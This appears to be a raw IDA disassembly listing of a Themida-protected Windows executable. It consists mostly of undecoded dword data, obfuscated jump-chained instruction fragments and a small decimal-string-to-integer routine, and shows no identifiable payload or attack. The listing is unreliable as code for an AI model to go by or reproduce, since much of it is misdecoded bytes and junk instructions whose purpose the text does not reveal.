509005E7h dd 11E852h, 284E0000h, 0B84F44C1h, 983E8620h, 61455FDDh dd 8B371362h, 310F5BD6h, 5A5A5251h, 0E950585Ah, 0Bh, 0E42EC420h dd 53170830h, 9065A233h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0D9C35141h, 85C6F58Ah, 5E732A5h, 55006A45h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0AE49008Dh, 5E946h, 7A400000h, 8907E453h, 0E71C3595h dd 4E805h, 69690000h, 0D88B8E72h, 108A0F50h, 0E8000000h dd 8, 544B8F5Eh, 0CD591BC7h, 8B5BDE8Ah, 8B042444h, 0E8008BD0h dd 0Ch, 0B4EBE563h, 97597542h, 0C2F04BBBh, 7D1FF1BBh, 44895A7Ch dd 52500424h, 13E8h, 0AB9FB00h, 557036FDh, 0E758C953h dd 84D7893h, 8B590EAh, 907969BAh, 310F5A3Ah, 4DE9BA66h dd 6A58585Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 95FC357h, 86277B3Ah, 45477C9Bh dd 0BE60D38Ah, 8B2327Bh, 0A71B501h, 0FF6105E7h, 0E70899B5h dd 8DD78B05h, 0E7392A85h, 2850F05h, 0B7000000h, 13E969h dd 0A61A0000h, 4DCA0B6Ch, 0AB8BDCD2h, 487E8E85h, 0DA4FF69Ch dd 0FD0FF43h, 8589D0B7h, 5E71701h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 23C35242h, 2AA7B85Ch, 0D9B8CE4Fh dd 81BA66EEh, 32BB5899h, 83770666h, 0E74CF5BDh, 840F0005h dd 33h, 0AE9h, 0FEE6E700h, 78355A26h, 8A51458Fh, 0A9B5FFF4h dd 2305E71Ch, 0E721A59Dh, 195FF05h, 8A05E717h, 0B50160F3h dd 5E719A5h, 3F98589h, 836105E7h, 850F00F8h, 0BBh, 0AE9h dd 0B17AAE00h, 5681188h, 661411BCh, 21A3D281h, 32C9BD83h dd 0F0005E7h, 4B84h, 0FFF88A00h, 0E732C9B5h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BD01B943h, 5E70771h, 6850Fh, 9D890000h, 5E728A1h, 1B8h dd 2810F00h, 0B7000000h, 240E969h, 0DA8B0000h, 1CA9B5FFh dd 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 958B63C3h, 5E7038Dh, 1CA9B5FFh, 958B05E7h dd 5E72165h, 1701B5FFh, 860F05E7h, 8, 28C0Fh, 5A510000h dd 1F1E9h, 5F44B700h, 1890Fh, 83F80000h, 0E708D9BDh, 850F0005h dd 10Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 7BC35141h, 67103562h, 0E9678F2Ah, 0Ah, 6834E28Bh dd 0C829CEEEh, 85C69010h, 5E732A5h, 0DE8B664Dh, 0D9C0FF68h dd 0E9525067h, 11h, 0F53FA171h, 0BF08E885h, 0AE789A0h dd 0B18D1B5Bh, 0E8310FB9h, 7, 0DA8634D0h, 6632EE44h, 5A933DBBh dd 481585Ah, 5BB5A924h, 51006A3Ch, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 0BE208045h, 672782C1h dd 8B7FB39Bh, 0E721799Dh, 85B5FF05h, 6A05E717h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0E83FC351h, 0F0863A02h, 8DD64CB7h, 0E7392A85h, 5D858905h dd 0FF05E704h, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0FD4DB7F7h, 0A195236Fh dd 8905E706h, 0E708D985h, 0CB816605h, 0B80E50h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 10F1C357h, 65AADC63h, 399DFDDBh, 14799503h dd 89F805E7h, 0E74C9EBDh, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0FC00B22h dd 0B84h, 0E955B600h, 6Eh, 5AA2B352h, 1701B5FFh, 6A05E7h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 72300EC3h, 0BB548626h, 1F889BD7h, 0A7A6858Dh, 6A05E9h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0E70E2AC3h, 0B390DEB9h, 0FD8A50D6h, 8E990h, 6B340000h dd 5BB67977h, 0BB66A627h, 5650B0FCh, 5400BD8Dh, 8D8D05E7h dd 5E77BEEh, 8323BCB8h, 30CF2B74h, 47C8D007h, 5EF87549h dd 0C9BD8358h, 5E732h, 8D8B0674h, 5E71605h, 0B8C933h, 0B000000h dd 99840FC0h, 83000000h, 0E71A4DBDh, 6740005h, 0F195FFh dd 0B805E7h, 0B000000h, 830975C0h, 0E74CA6BDh, 9740105h dd 4CA6BD83h, 750205E7h, 9EB58B0Eh, 8D05E74Ch, 0E9A7A685h dd 8DD0FF05h, 0E740FB85h, 83D0FF05h, 0E724E9BDh, 2F750205h dd 2D79A58Bh, 858B05E7h, 5E732C9h, 0C7240489h, 0E716A185h dd 105h, 0A2B58B00h, 8B05E74Ch, 0E70BD9ADh, 1B805h, 0CC20000h dd 0C700EB00h, 0E716A185h, 105h, 79A58B00h, 8B05E72Dh dd 0E712DDB5h, 0D9AD8B05h, 3305E70Bh, 0CC2C0h dd 1191BD83h, 740005E7h, 0B1BD830Fh, 5E704h, 95FF0674h dd 5E704B1h, 4C9EB58Bh, 6AC305E7h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0BC41C350h dd 0A859BC8Dh, 0FF08A60h, 8Fh, 0D58A6100h, 6AD22Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 57BAB7C3h, 0B70F21FDh db 0DAh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_5468D5 ; --------------------------------------------------------------------------- loc_5468D3: ; CODE XREF: sub_542C3C+3C9Cj inc eax inc edi loc_5468D5: ; CODE XREF: sub_542C3C+3C95j cmp byte ptr [edi], 0 jnz short loc_5468D3 xor ecx, ecx mov edi, [ebp+8] jmp short loc_546904 ; --------------------------------------------------------------------------- loc_5468E1: ; CODE XREF: sub_542C3C+3CCAj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_5468F9 ; --------------------------------------------------------------------------- loc_5468F6: ; CODE XREF: sub_542C3C+3CC0j mul ebx dec esi loc_5468F9: ; CODE XREF: sub_542C3C+3CB8j cmp esi, 0 ja short loc_5468F6 pop ebx add ecx, eax pop eax inc edi dec eax loc_546904: ; CODE XREF: sub_542C3C+3CA3j or eax, eax jnz short loc_5468E1 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- dw 3160h dd 0E71BD99Dh, 0AE905h, 63C0000h, 0A5FA35ECh, 0E0800534h dd 0FE38161h, 0E80860E9h, 0Bh, 48EE7AFDh, 98AD656Ch, 171B3E2h dd 0E71F8995h, 958B5A05h, 5E71BC5h ; --------------------------------------------------------------------------- loc_54694C: ; CODE XREF: sub_542C3C:loc_54389Ej mov eax, ecx jmp loc_56895E ; --------------------------------------------------------------------------- dd offset dword_5B142C db 3Fh dd 1E025A00h, 68005B19h, 12FFh, 28000000h, 1E025A00h, 46005B19h dd 2000002h, 1000000h, 2000000h, 0A5000000h, 0FA6CEBh dd 4 dup(0) dd 0EF000000h, 0CA0054F0h, 6F00547Fh, 0E005517h, 0C4005493h dd 9E005474h, 0CE005483h, 420054B6h, 0B9005520h, 95005480h dd 0BA0054FFh, 0D40054A0h, 110054A7h, 7E0054F9h, 28005521h dd 990054CDh, 3C0054C9h, 61005528h, 8A005484h, 0AA005482h dd 9F00547Eh, 620054BCh, 9C005503h, 750054EFh, 870054EFh dd 0A50054D7h, 6D00549Fh, 0F4005497h, 550054D3h, 7600550Ch dd 0FD0054EEh, 0BF0054EBh, 520054F5h, 320054E5h, 2D0054D9h dd 5B00546Dh, 580054AAh, 540054FFh, 3A005510h, 28005491h dd 3D005501h, 2B005498h, 350054E6h, 0CA0054F3h, 48005479h dd 1D0054DEh, 0D90054BDh, 0E80054CDh, 2100548Dh, 4C00550Eh dd 550054F8h, 5A0054B2h, 0CC0054C0h, 2C00549Bh, 6F005487h dd 0BE0054DDh, 830054ADh, 0F400549Dh, 8C0054CCh, 0D5005471h dd 0B10054F0h, 30054A0h, 70005504h, 0C7005529h, 2D005502h dd 2D0054FAh, 0B40054A7h, 0DE0054B5h, 0F40054DFh, 0E0005471h dd 0DB005502h, 26005529h, 0DE00549Ch, 78005477h, 4E005514h dd 0CB00549Bh, 580054B8h, 340054B0h, 0D5005475h, 830054BEh dd 0DB0054F4h, 4C005506h, 270054E3h, 0E00547Eh, 0B300549Dh dd 66005512h, 1D005486h, 10054BCh, 4C00551Dh, 0D30054B3h dd 140054E6h, 0BB0054A2h, 31005512h, 0AC00551Bh, 750054EFh dd 2F005489h, 3D00549Ch, 39005516h, 0EA00550Bh, 6100549Fh dd 5E0054FAh, 0AC00552Eh, 6E0054A2h, 630054A3h, 0B000551Bh dd 550054A3h, 0C80054C9h, 0C10054C0h, 83005506h, 0C0005501h dd 100054DBh, 0E700550Ah, 9800546Dh, 0FB005530h, 0D0054EEh dd 0C10054B4h, 0F900548Ch, 0D00054B6h, 0A2005497h, 88005471h dd 0CC0054F2h, 0DA00549Ah, 48005528h, 0CE005483h, 0BF0054D2h dd 0E200552Bh, 210054FDh, 9B00552Bh, 0A1005500h, 0BA0054FCh dd 4E005493h, 200552Eh, 1005478h, 5500547Fh, 0C80054A4h dd 0EC00546Ch, 0D00054A5h, 0AA005506h, 5B0054D1h, 0B30054B2h dd 0E900550Fh, 4D00546Eh, 0FB00549Ah, 300054E7h, 0B4005481h dd 9A005521h, 0B6005489h, 0D40054A4h, 2800550Eh, 840054B7h dd 1005503h, 2C0054AFh, 720054D1h, 0A40054BAh, 4E005491h dd 0EB0054B6h, 0FC0054FDh, 0E8005503h, 6B00548Bh, 0CB0054CAh dd 4000546Eh, 0BE0054EBh, 430054BDh, 0D200546Fh, 89005470h dd 0D40054D6h, 590054BBh db 0E0h, 54h, 0 ; --------------------------------------------------------------------------- loc_546C33: ; CODE XREF: Themida_:00573297j ; Themida_:00578E32j ... pusha pushf cld call $+5 pop edi sub edi, 5E78096h mov eax, edi add edi, 5E77DAEh cmp eax, [edi+2Ch] jnz short loc_546C51 jmp short loc_546C64 ; --------------------------------------------------------------------------- loc_546C51: ; CODE XREF: sub_542C3C+4011j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_546C60 ; --------------------------------------------------------------------------- loc_546C5B: ; CODE XREF: sub_542C3C+4026j add [edi+ecx*4+40h], eax dec ecx loc_546C60: ; CODE XREF: sub_542C3C+401Dj or ecx, ecx jnz short loc_546C5B loc_546C64: ; CODE XREF: sub_542C3C+4013j mov esi, [esp+2Ch+var_8] mov ebx, esi add esi, eax mov ecx, 1 loc_546C71: ; CODE XREF: sub_542C3C+403Cj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_546C71 loc_546C7A: ; CODE XREF: sub_542C3C+4378j ; sub_542C3C+577Ej ... lodsb add al, 0BAh sub al, bl push edx push ebx mov bh, 8Fh mov dh, 33h jmp loc_54A94E ; --------------------------------------------------------------------------- dw 148Bh dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 0BAB3E9h dd 24048100h, 4, 4C6815Eh, 52000000h, 82ACE9h, 6D685100h dd 5953491Bh, 0A06FE9h, 0E9525F00h, 647h, 5585450h, 4 dd 98A2E9h, 66CB0000h, 83240C8Bh, 0C30002C4h, 2E3F68h dd 24048900h, 141DE9h, 0F7815B00h, 75204335h, 815FF829h dd 4ECh, 243C8900h, 61D768h, 241C8900h, 6ED2E9h, 0EC835100h dd 242C8904h, 8EC9E9h db 0 ; --------------------------------------------------------------------------- loc_546D19: ; CODE XREF: sub_542C3C+BDCAj add esi, eax pop eax add esi, 4 xchg esi, [esp+30h+var_30] mov esp, [esp+30h+var_30] jmp loc_54EABC ; --------------------------------------------------------------------------- db 66h, 68h, 34h dd 0E954661Eh, 6F6Bh ; --------------------------------------------------------------------------- loc_546D38: ; CODE XREF: sub_542C3C+6EF7j ; sub_542C3C+76F1j push 4D05h jmp loc_54AA27 ; --------------------------------------------------------------------------- loc_546D42: ; CODE XREF: sub_542C3C+4DD1j pop edi xchg esi, [esp+30h+var_30] pop esp shr eax, 0Ah xor eax, ecx xor eax, edx xor edx, eax xor eax, edx jmp loc_551484 ; --------------------------------------------------------------------------- db 80h dd 8E949F1h, 5A00001Ah, 3154F281h, 0E9535C6Ch, 9F32h ; --------------------------------------------------------------------------- loc_546D6C: ; CODE XREF: sub_542C3C+7396j mov eax, [esp+2Ch+var_2C] push ecx push esp jmp loc_551971 ; --------------------------------------------------------------------------- loc_546D76: ; CODE XREF: sub_542C3C+AACEj sub esi, ebx pop ebx push eax mov eax, 44642DC1h xor eax, 79114C47h sub esi, eax push [esp+34h+var_34] jmp loc_54B4D1 ; --------------------------------------------------------------------------- dw 0C89h dd 81E18924h, 4C1h, 58BD5500h, 0C16D8A03h, 60E904EDh, 89000046h dd 0E389241Ch, 4B951h, 0C3810000h, 49C7941h, 380E9h, 24148700h dd 6624248Bh, 5224048Bh, 53E9E289h, 5A000069h, 5786CA81h dd 0EA81229Dh, 6D304E57h, 2F34F281h, 0D5E96EFDh, 66000085h dd 74FF6652h, 5A660224h, 24048F66h, 66F28766h, 2C876656h dd 0F5316624h, 66EE3166h, 0F766F531h, 964DE9D6h, 1C890000h dd 7EA5BB24h, 0C3811846h, 561153EDh, 0E381D3F7h, 6FDF429Dh dd 0B951DBF7h, 7CBC1D7Bh, 9614E949h, 0EC810000h, 4, 53240C89h dd 80DDB450h, 0E4C053CCh, 1DD6E902h, 0D1000000h, 5ABCE980h dd 99E95166h, 8900001Fh, 4812424h, 424h, 0E9565A00h, 7B23h ; --------------------------------------------------------------------------- loc_546E68: ; CODE XREF: sub_542C3C+839Ej sub ebx, 29591375h add dword ptr [ebx], 1 push [esp+38h+var_38] pop ebx jmp loc_5492BA ; --------------------------------------------------------------------------- loc_546E7D: ; CODE XREF: sub_542C3C+7741j sub esi, 45FC4354h jmp loc_553049 ; --------------------------------------------------------------------------- dd 89241C89h, 4FE2E9E3h, 0EA290000h, 6F17C281h, 2C8B02B6h dd 0C22E924h, 0D5F70000h, 0CBB95156h, 513FC05Fh, 592414F7h dd 0C981D9F7h, 2A1405EEh, 0C981D9F7h, 34045085h, 547BBA52h dd 4EE92EECh, 66000094h, 5224048Bh, 0AFE95A54h, 33000076h dd 81E9241Ch, 5C000066h, 9C240CFEh, 0FFFD91E9h, 48B66FFh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx jmp loc_5482F6 ; --------------------------------------------------------------------------- loc_546EF6: ; CODE XREF: sub_542C3C+9826j add esp, 4 and eax, edi mov edi, [esp+3Ch+var_3C] add esp, 4 jmp loc_54FE26 ; --------------------------------------------------------------------------- db 52h, 0B2h, 39h dd 8063C280h, 0DAF6A2EAh, 27FDE950h, 0EE310000h, 0D6F74E5Dh dd 5821F681h, 0F0018A80h, 625E9h db 0 ; --------------------------------------------------------------------------- loc_546F2D: ; CODE XREF: sub_542C3C+5D9Cj push eax mov eax, 4 jmp loc_54B684 ; --------------------------------------------------------------------------- aBimewbs@ db 'ë¬EWBé±@',0 dw 0FF00h a4Sm db '4$éM(',0 dw 5F00h dd 4C781h, 4E680000h, 8900001Ah, 0EDB9240Ch, 0C1748548h dd 0BA5205E9h, 70E33DA8h, 2E42E9h, 3EC58100h, 0D13ECC6Eh dd 0DE581EDh, 0E9341274h, 49FFh, 0FE95349h, 0B9000058h dd 794927B4h, 0D71BF181h, 0C101AE40h, 590EE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546F9A: ; CODE XREF: sub_542C3C+5C99j not esi dec esi not esi jmp loc_547480 ; --------------------------------------------------------------------------- loc_546FA4: ; CODE XREF: sub_542C3C+57E7j xor edx, [esp+3Ch+var_3C] pop esp push esi jmp loc_550C4B ; --------------------------------------------------------------------------- loc_546FAE: ; CODE XREF: sub_542C3C+C0C8j pop esp bt [esp+38h+var_38], eax pushf jmp loc_546C7A ; --------------------------------------------------------------------------- loc_546FB9: ; CODE XREF: sub_542C3C+E4C8j mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_54D573 ; --------------------------------------------------------------------------- aTspn db 'TépN',0 dw 0C100h dd 8E3508E8h, 356B2B2Bh, 6B02F39Ch, 2958C689h, 1C875EF3h dd 1C895C24h, 0E9E38924h, 9DD9h, 1DB45066h, 0E7ED80h, 5F95E9E5h dd 15F0000h, 1C75FF9h, 1C94541Fh, 541E2981h, 0C8B1C94h dd 9F36E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547016: ; CODE XREF: sub_542C3C+6C17j xor esi, ebx pop ebx mov ecx, esi pop esi dec ecx and ecx, 702C0A80h xchg ebp, ecx inc ebp xchg ebp, ecx inc ecx jmp loc_54B300 ; --------------------------------------------------------------------------- dw 0EB81h dd 64F32934h, 0BD55D301h, 4996B0Ch, 37A6E9h db 0 ; --------------------------------------------------------------------------- loc_547041: ; CODE XREF: sub_542C3C+EBE5j sub esi, 0E262028h jmp loc_5522FB ; --------------------------------------------------------------------------- dd 8106E2C1h, 0D5A004C2h, 8EAAE9FAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54705A: ; CODE XREF: sub_542C3C+F6B2j push [esp+34h+var_34] pop edx jmp loc_54ACCC ; --------------------------------------------------------------------------- db 41h dd 75C1C181h, 0CA017F7Ch, 24148759h, 8966645Ch, 7661E902h dd 15E0000h, 254568C3h, 4890000h, 6BBA5224h, 0B837233Ah dd 5F2FB408h, 0E95AD029h, 5636h, 0B2525366h, 87C28026h dd 0C0FFC280h, 0F28007E2h, 6EAC0A4h, 8099B353h, 0EA8045EBh dd 80DA0049h, 885B49C2h, 0FD885AD7h, 0E95B66h, 5C00003Dh dd 0F9107A05h, 287DE900h, 77FF0000h, 58669D1Ch, 24041166h dd 0FB98E99Ch, 3C89FFFFh, 2BF24h, 0FA010000h, 2414335Fh dd 33241431h, 665C2414h, 0B7E9E1F7h, 8900005Ch, 4BA52E7h dd 1000000h, 0C7835AD7h, 74FF5704h, 8F5F0424h, 248B2404h dd 0BDB85024h, 2977B260h, 0EB8158C3h, 11EA0E36h, 0BF57C301h dd 11EA0E36h, 685FFB01h, 48Fh, 7DF3E9h, 81CB0100h, 9C7941EBh dd 0BE565904h, 4, 348BF301h, 1A51E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547156: ; CODE XREF: sub_542C3C+4D61j sub esp, 4 mov [esp+38h+var_38], ecx mov ecx, 6C93327Eh push ebx mov ebx, 0A5FFE7E9h add ecx, ebx pop ebx add edi, ecx pop ecx not edi xor edi, 842BB731h add ecx, edi pop edi add ecx, 4 jmp loc_547661 ; --------------------------------------------------------------------------- db 66h dd 0E9241431h, 0FFFFFAEEh, 24048B66h, 552768h, 242C8900h dd 49C8E9h, 0FAD8E900h, 77FFFFFFh, 59669D1Ch, 9C2414D2h dd 0FFFAC9E9h, 81E589FFh, 4C5h, 91E95000h db 9Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5471BF: ; CODE XREF: sub_542C3C+B113j pop ebx add ebx, 4 jmp loc_54F4E5 ; --------------------------------------------------------------------------- db 81h dd 0C000EEEFh, 0D1BD557Ah, 9676F0Fh, 242C8BEFh, 5E08950h dd 4, 405h, 24043300h, 0E9240431h, 598Dh, 240C8B66h, 4EC81h dd 0CE90000h, 28000067h, 66CD2CC8h, 68665159h, 89660355h dd 6B3241Ch, 8B66D988h, 0C481241Ch, 2, 0E180D1F6h, 53526642h dd 4DB264B3h, 292EE9h, 240C8B00h, 0E904C483h, 622Eh, 31F2FBDh dd 4758E963h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547246: ; CODE XREF: sub_542C3C+B680j mov ecx, 53F44347h jmp loc_5507DE ; --------------------------------------------------------------------------- dd 305BDA30h, 0E8285AD5h, 592434FFh, 7F8AE9h, 0C2685000h dd 8900002Eh, 4832424h, 5580424h, 4, 405h, 2A01E900h, 0F7810000h dd 63F61FBh, 9E43E9h, 82E98100h, 8176E72Eh, 0F55DE2F1h dd 0B3BDE953h, 0C2010000h, 6471BF57h, 0C2810A68h, 5EC955B0h dd 0EA81FA29h, 5EC955B0h, 0F9C4E95Fh, 0BB53FFFFh, 4, 0E95BDA01h dd 0AC04h, 57242489h, 4BFh, 247C0100h, 74E95F04h, 1FFFFFCh dd 5A082454h, 57240C8Bh, 6015E9h, 0E0C38100h, 5E44604Eh dd 20BB5351h, 0E9000000h, 4D39h, 7ED7E954h, 0D0000000h dd 0F32C1604h, 8B667B2Ch, 0BFE92414h, 0BA000042h, 4F7D2F3Eh dd 2414F752h, 323BE95Ah, 0A7050000h, 29D29BC9h, 72F9E9C7h dd 50520000h, 0A11E88B8h, 35E8D122h, 70867143h, 13425B05h dd 43C5E9CEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_547342: ; CODE XREF: sub_542C3C+BAA7j add esp, 4 jmp loc_547AA9 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 81E38953h, 4C3h, 6FE3E900h, 0B9510000h, 3CAF4DB6h, 8159CA01h dd 714297CAh, 0D5EA8161h, 1F9F342h, 0DFE95AD1h, 5Bh, 5A4904F0h dd 0D1268h, 240C8900h, 4A0868h, 24148900h, 0E26874B6h dd 89000029h, 0CDB5240Ch, 0AA1EE9h, 0B60F6600h, 9C5166C8h dd 0A3B1E9h, 64C68100h, 1F7EECEh, 0A56CE9F2h, 0D0280000h dd 37E7E9h db 0 ; --------------------------------------------------------------------------- loc_5473C1: ; CODE XREF: sub_542C3C+ED55j pop ebp add eax, 4 jmp loc_54F88F ; --------------------------------------------------------------------------- loc_5473CA: ; CODE XREF: sub_542C3C+CC4Ej xor ebp, [esp+24h+var_24] pop esp movzx ecx, ax push 290Bh jmp loc_54C676 ; --------------------------------------------------------------------------- loc_5473DB: ; CODE XREF: sub_542C3C+661Ej pop edx add esp, 4 shr ebp, 6 push eax mov eax, 0F2804DDh neg eax xor eax, 0F2BBFCBBh jmp loc_549FBA ; --------------------------------------------------------------------------- dd 31241433h, 14332414h, 0C2685C24h, 0E900001Fh, 97Fh dd 20E0E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54740E: ; CODE XREF: sub_542C3C+AD9Ej xchg esi, [esp+20h+var_20] mov esp, [esp+20h+var_20] shr ecx, 7 push 2F81h mov [esp+24h+var_24], edx jmp loc_54C2FD ; --------------------------------------------------------------------------- dd 0E9D8015Eh, 55A4h, 8951E9F7h, 4EC83E1h, 51241489h, 2D0BF3B9h dd 4CA7E94Bh, 0EE810000h, 447F59C6h, 367EEE81h, 0E681797Ah dd 53186F2Ch, 6A95F681h, 0F0293C8Eh, 242C8B5Eh, 5704C483h dd 19287ABFh, 49BB5337h, 810BFD24h, 0D655BCC7h, 9471E974h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54747A: ; CODE XREF: sub_542C3C+F2EBj push esp jmp loc_54F82E ; --------------------------------------------------------------------------- loc_547480: ; CODE XREF: sub_542C3C+4363j sub esi, 0A59AC07Eh and edi, esi pop esi add edi, 0D6120324h mov edx, edi pop edi mov edi, 36520D45h jmp loc_549882 ; --------------------------------------------------------------------------- aYQRSjk db 'Y)ÚQ¹¾`R!éjŠ',0 align 2 dw 0C31h aScv db '$éCV',0 align 2 dw 0C8Bh dd 4C48324h, 810AE9h, 0E9DA8900h, 652Ch, 7AD068h, 24148900h dd 0FFF7A9E9h, 89515EFFh, 46852E1h, 5A000000h, 0BCE9D101h dd 81000039h, 0DD7217CAh, 33F28153h, 153DD72h, 0EC835AD5h dd 9950E904h, 0E9520000h, 0B5C5h, 6E94E959h, 0D2F60000h dd 0C0D6CA80h, 0EA8006EAh, 5AD08851h, 403E8C0h, 58C208CBh dd 0E975EA80h, 47E1h, 0E9243489h, 36FFh ; --------------------------------------------------------------------------- loc_54752C: ; CODE XREF: sub_542C3C+F2B5j push [esp+34h+var_34] jmp loc_551DEF ; --------------------------------------------------------------------------- dd 240C8B66h, 397E68h, 243C8900h, 8904EC83h, 4812424h dd 424h, 77B7E900h, 348B0000h, 4C3DE924h, 0EC810000h, 4 dd 88241C89h, 8BFD88C7h, 0C481241Ch, 4, 57566850h, 1C890000h dd 81EF8824h, 4ECh, 240C8900h, 24F7E9h, 45B6600h, 2CE800E4h dd 59D304E4h, 80D1EB80h, 0C328D4EBh, 55D4C380h, 0E904EC83h dd 0A499h, 7B0A68h, 243C8900h, 7811BA52h, 0AB683F0Fh, 89000004h dd 3C8B2414h, 0C31E924h, 0E3C10000h, 0D8EB8102h, 316BF375h dd 89E95BD8h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5475D7: ; CODE XREF: sub_542C3C+9F17j push cx mov ch, al dec ch mov al, ch pop cx not al add al, 0C0h sub bh, al pop eax add al, 0A4h add al, bh sub al, 0A4h pop ebx jmp loc_54E56A ; --------------------------------------------------------------------------- loc_5475F4: ; CODE XREF: sub_542C3C+4EAAj add esi, 4 push edi mov edi, 2B95099Ah add edi, 0E686DB4h inc edi shl edi, 1 push 0 sub [esp+38h+var_38], edi jmp loc_55181A ; --------------------------------------------------------------------------- dw 6866h dd 89666FB6h, 57E92404h, 29FFFFF6h, 0F1015EF1h, 2802C181h dd 0BEE95E7Fh, 81000058h, 0C86B6FEAh, 0CCEA8165h, 5B23180Bh dd 5C241487h, 0E9240489h, 8999h, 1D57C581h, 0FD013E54h dd 0A956E9h, 243C8B00h, 0B20CE9h db 0 ; --------------------------------------------------------------------------- loc_547661: ; CODE XREF: sub_542C3C+4542j xor ecx, [esp+30h+var_30] xor [esp+30h+var_30], ecx jmp loc_5498C2 ; --------------------------------------------------------------------------- aYvsf db 'YVéä{',0 dw 500h dd 41BA29F6h, 5724148Bh, 0FFFA7EE9h, 7764BFFFh, 0A6E92D17h dd 8B000042h, 81532424h, 4ECh, 24148900h, 5AA468h, 241C8900h dd 0DA88C388h, 1E6BE9h, 2EE95C00h, 0C100000Ch, 0EE8105EEh dd 6E4416DFh, 3E45C681h, 0F189867Ch, 8124348Bh, 4C4h, 63BC2D00h dd 0DBE9159Fh, 5E000075h, 0AB32E9h, 7ECF8100h, 8171446Bh dd 0EDA2C3F7h, 0A191E9CFh, 4BA0000h, 1000000h, 6FBFE9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5476F6: ; CODE XREF: sub_542C3C+9C11j mov eax, esp add eax, 4 push ebp mov ebp, 4 sub eax, ebp pop ebp xchg eax, [esp+30h+var_30] pop esp mov [esp+2Ch+var_2C], esi mov esi, 47FF556Eh jmp loc_54971D ; --------------------------------------------------------------------------- loc_547717: ; CODE XREF: sub_542C3C+C291j pop esp add ecx, 4 add ecx, 4 xchg ecx, [esp+28h+var_28] pop esp jmp loc_54BFF5 ; --------------------------------------------------------------------------- dw 481h dd 424h, 0BF575E00h, 512D2793h, 278FEF81h, 0FE01512Dh dd 4B9515Fh, 1000000h, 0DDE959CEh db 90h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54774F: ; CODE XREF: sub_542C3C+549Ej mov edx, ebp pop ebp and eax, edx mov edx, [esp+20h+var_20] jmp loc_5483D3 ; --------------------------------------------------------------------------- dd 8904EC83h, 5954240Ch, 4C181h, 0C1830000h, 240C8704h dd 72DE95Ch, 1C890000h, 7A43BB24h, 0F381171Eh, 16750732h dd 0F743DBF7h, 95C381D3h, 81FE9482h, 0BA0EB6E9h, 81D9017Ch dd 0BA0EB6C1h, 89535B7Ch, 4C381E3h, 81000000h, 4EBh, 241C8700h dd 243C895Ch, 2BFh, 5FF90100h, 31240C33h, 0C33240Ch, 0FEC1E924h dd 0EFC1FFFFh, 3EFC102h, 3B57F781h, 0FA0101C1h, 2E18E95Fh dd 34FF0000h, 2FBEE924h, 54880000h, 77E90187h, 68000007h dd 78F369CEh, 1B77E9h db 0 ; --------------------------------------------------------------------------- loc_5477F9: ; CODE XREF: sub_542C3C+5EB8j push esp mov ebx, [esp+24h+var_24] jmp loc_547CF4 ; --------------------------------------------------------------------------- dw 34FFh dd 24148B24h, 4C481h, 81510000h, 4ECh, 24248900h, 4240483h dd 4C18159h, 0E9000000h, 1B61h, 0BFE9DE29h, 31000036h dd 0A345E9F9h, 575E0000h, 0C781E789h, 4, 4BD55h, 0EF010000h dd 243C875Dh, 4C6815Ch, 0E9000000h, 5AD2h, 2474FF51h, 48F5904h dd 24248B24h, 4C481h, 34FF0000h, 2434FF24h, 0CBE95158h dd 8700000Eh, 0F5C2434h, 98E9C8BEh, 8100009Eh, 4C6h, 2EE8100h dd 87000000h, 0BFE92434h, 0E90000A1h, 0FFFFF3DEh, 42474FFh dd 24048F5Ah, 6624248Bh, 6866E9F7h, 89664DC0h, 50662414h dd 0F3C0E99Ch, 0BBE9FFFFh, 1FFFFF3h, 56382DD8h, 52571086h dd 2D1BFEBAh, 5AD7894Ch, 0D7F74F47h, 0E906EFC1h, 6501h ; --------------------------------------------------------------------------- loc_5478DC: ; CODE XREF: sub_542C3C+4E83j mov edx, esi jmp loc_552B5F ; --------------------------------------------------------------------------- loc_5478E3: ; CODE XREF: sub_542C3C+B191j pop esi push 3C66h jmp loc_54D40C ; 